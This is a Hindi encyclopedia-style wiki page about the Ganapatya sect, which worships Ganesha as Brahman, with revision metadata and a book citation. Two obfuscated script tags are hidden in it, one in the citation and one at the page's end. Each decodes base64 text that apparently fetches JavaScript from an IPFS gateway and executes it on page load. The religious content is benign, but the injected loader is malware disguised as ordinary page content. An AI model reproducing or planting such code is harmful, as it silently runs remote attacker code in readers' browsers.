गाणपत्य

भारत डिस्कवरी प्रस्तुति
रविन्द्र प्रसाद (चर्चा | योगदान) द्वारा परिवर्तित 10:40, 29 जून 2021 का अवतरण (''''गाणपत्य''' (अंग्रेज़ी: ''Ganapatya'') हिन्दुओं का...' के साथ नया पृष्ठ बनाया)
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
यहाँ जाएँ:भ्रमण, खोजें

गाणपत्य (अंग्रेज़ी: Ganapatya) हिन्दुओं का वह सम्प्रदाय है जो गणपति (भगवान गणेश) को सगुण ब्रह्म के रूप में मानता एवं पूजता है।

  • गणेश को अनंत ब्रह्म मानकर उनकी पूजा कब से आरंभ हुई, यह विवादास्पद है। 'याज्ञवल्क्यस्मृति' में इसका उल्लेख है।
  • गणपति उपनिषद और गणेश पुराण इस मत के प्रामाणिक ग्रंथ हैं।
  • छठी और आठवीं-नवीं शताब्दी के अभिलेख गाणपत्य मत की प्राचीनता पर प्रकाश डालते हैं। यद्यपि चौदहवीं शताब्दी से यह संप्रदाय अवनत होने लगा, परंतु देवता-समूह में विघ्नविनाशक और सिद्धिदाता के रूप में गणेश का स्थान अक्षुण्ण है।[1]
  • 'श्री गणेशाय नमः' का मंत्र और मस्तक पर लाल तिलक इसका चिह्न है। सभी मांगलिक कार्यों में सर्वप्रथम गणपति की उपासना तथा पूजा होती है।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. भारतीय संस्कृति कोश |लेखक: लीलाधर शर्मा 'पर्वतीय' |प्रकाशक: राजपाल एंड सन्ज, मदरसा रोड, कश्मीरी गेट, दिल्ली |संकलन: भारतकोश पुस्तकालय |पृष्ठ संख्या: 279 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>